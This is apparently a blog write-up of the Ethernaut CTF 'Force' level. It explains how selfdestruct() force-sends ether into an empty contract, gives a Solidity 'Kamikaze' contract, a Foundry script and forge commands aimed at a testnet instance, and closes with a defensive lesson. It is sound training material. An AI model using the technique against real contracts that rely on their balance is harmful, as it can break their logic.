The Ethernaut CTF Solutions | 07 - Force
Ether Against Its Will: Leveraging `selfdestruct()` to Force Transfers

Search for a command to run...
Ether Against Its Will: Leveraging `selfdestruct()` to Force Transfers

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
The Illusion of Privacy: Accessing 'Private' Data on the Blockchain
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

On this page
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
Not so many functions, right?
In this Ethernaut level, the given contract is completely empty. So how can we send any ether to it? The trick is to use the (soon to be deprecated with Dencun update) selfdestruct(), which is one way to force send ether to a contract.
When self-destructing itself, the contract must send any remaining ether to another address. This is how we can easily solve this level. We simply need to deploy a contract that self-destructs and sends its ether to the vulnerable contract.
Write and deploy a contract that takes the address of the vulnerable contract and calls's selfdestruct() on itself, forwarding its ether balance to the target.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Kamikaze {
constructor(address payable _target) payable {
require(msg.value > 0, "Kamikaze need some ETH to attack");
selfdestruct(_target);
}
}
Here is the quick deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {Kamikaze} from "../src/07_Force.sol";
contract PoC is Script {
// Replace with your Force instance
address payable immutable force =
payable(0xD0350fE26d963C9B0974Cab2b5a55D72B02566a3);
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
new Kamikaze{value: 1 wei}(force);
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/07_Force.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
Or to deploy it with forge directly (you can also use Remix):
forge create Kamikaze --private-key $PRIVATE_KEY --rpc-url sepolia --value 0.00001ether
🎉 Level completed! 🎉
selfdestruct() is a way to force send ether to a contract.
Never rely on a contract's balance to implement sensitive logic.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/